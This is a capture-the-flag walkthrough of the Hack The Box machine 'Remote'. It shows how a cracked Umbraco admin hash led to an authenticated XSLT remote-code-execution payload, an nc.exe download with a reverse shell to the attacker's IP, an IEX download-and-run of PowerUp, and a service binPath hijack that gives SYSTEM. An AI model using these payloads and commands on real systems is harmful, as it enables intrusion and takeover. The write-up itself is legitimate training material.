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Remote
================
|  REMOTE 10.10.10.180  |
================

InfoGathering

FTP

HTTP
FRAMEWORKS: jQuery 3.1.0
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/contact (Status: 200)
/blog (Status: 200)
/products (Status: 200)
/home (Status: 200)
/people (Status: 200)
/Home (Status: 200)
/Products (Status: 200)
/Contact (Status: 200)
/install (Status: 302)

LOGIN PAGE: http://10.10.10.180/umbraco/ 
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NFS
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RPC

SMB
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Gaining Access 
Using NFS I was able to map the /site_backup share. 
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mkdir /media/REMOTE
mount -t nfs 10.10.10.180:/site_backups /media/REMOTE/
cd /media/REMOTE

Reading the Web.config file I discovered the data directory is in a file called 
Umbraco.sdf. This file is located in the App_Data directory. 

Run strings on the file to discover a SHA1 password has for the sites admin account
strings App_Data/Umbraco.sdf | grep SHA1

Crack the hash
echo 'b8be16afba8c314ad33d812f22a04991b90e2aaa' > hash.txt
john --format=Raw-SHA1 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# RESULTS
baconandcheese

This password allows us to sign in on the login page http://remote.htb/umbraco
USER: admin@htb.local
PASS: baconandcheese

Click the ? in the bottom left corner to display Umbracos version

Next I searched for vulnerabilities for umbraco version 7.12.4
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searchsploit umbraco 7.12.4
# RESULTS
Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution | exploits/aspx/webapps/46153.py

I then examined the exploit to figure out how it works
Enter the login information

ORIGINAL PAYLOAD
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = ""; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
 proc.StartInfo.FileName = "calc.exe"; proc.StartInfo.Arguments = cmd;\
 proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
 </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
 </xsl:template> </xsl:stylesheet> ';

TEST PAYLOAD
Send a ping and make sure you are able to receive it
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = "ping 10.10.15.220"; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cmd;\
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
</msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>
\                                                                                                                                           
</xsl:template> </xsl:stylesheet> ';

MODIFIED PAYLOAD
Download nc.exe to target and execute a reverse shell
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payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = "mkdir /tmp;iwr -uri http://10.10.15.220/nc.exe -outfile /tmp/nc.exe;/tmp/nc.exe 10.10.15.220 1337 -e 
powershell"; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cmd;\
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
 </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
 </xsl:template> </xsl:stylesheet> ';

Start a listener

Host the nc.exe file for download and execute the exploit

We can now get user flag
(Get-ChildItem -Path C:\ -Filter user.txt -Recurse -ErrorAction SilentlyContinue | Select-Object -First 1).FullName

Get-Content -Path ((Get-ChildItem -Path C:\ -Filter user.txt -Recurse -ErrorAction SilentlyContinue | Select-Object -
First 1).FullName)
# RESULTS
47fcafb798d21ea042ff944ff3222cce
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USER FLAG: 47fcafb798d21ea042ff944ff3222cce

PrivEsc
I used PowerUp.ps1's cmdlet Invoke-AllChecks to enumerate possible privesc methods
Host PowerUp.ps1 on your HTTP server and execute it in your session
IEX (New-Object Net.WebClient).downloadString("http://10.10.15.220/PowerUp.ps1")
# RESULTS
[*] Checking service permissions...
ServiceName   : UsoSvc
Path          : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -ServiceName 'UsoSvc'

UnattendPath : C:\Windows\Panther\Unattend.xml

There is an Unattend.xml file which may contain a clear text password. No such luck
Get-Content -Path C:\Windows\Panther\Unattend.xml | Select-String -Pattern "Password"
# RESULTS
     <Password>*SENSITIVE*DATA*DELETED*</Password>
       <Password>*SENSITIVE*DATA*DELETED*</Password>

We found a weak service permission with the UsoSvc service. 
RESOURCE: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/
Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
We can edit the binPath variable and restart the service in an attempt to execute a 
reverse shell as SYSTEM.
# STOP SERVICE
cmd /c sc.exe stop UsoSvc

# CHANGE BINPATH VALUE
cmd /c sc.exe config usosvc binPath="C:\tmp\nc.exe 10.10.15.220 4433 -e cmd.exe"

# VERIFY VALUE
cmd /c sc.exe qc usosvc

# RESTART SERVICE
cmd /c sc.exe start UsoSvc
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type C:\Users\Administrator\Desktop\root.txt
# RESULTS
83164237076ef3ea7494da9667431bd3

ROOT FLAG: 83164237076ef3ea7494da9667431bd3

POST HASH DUMP The other accounts all had NULL hashes
---------------------------------------------------------------------------------------
administrator             86fc053bc0b23588798277b22540c40c 
wdagutilityaccount    05c9ce2fb8aad311f8447afa1398fb43


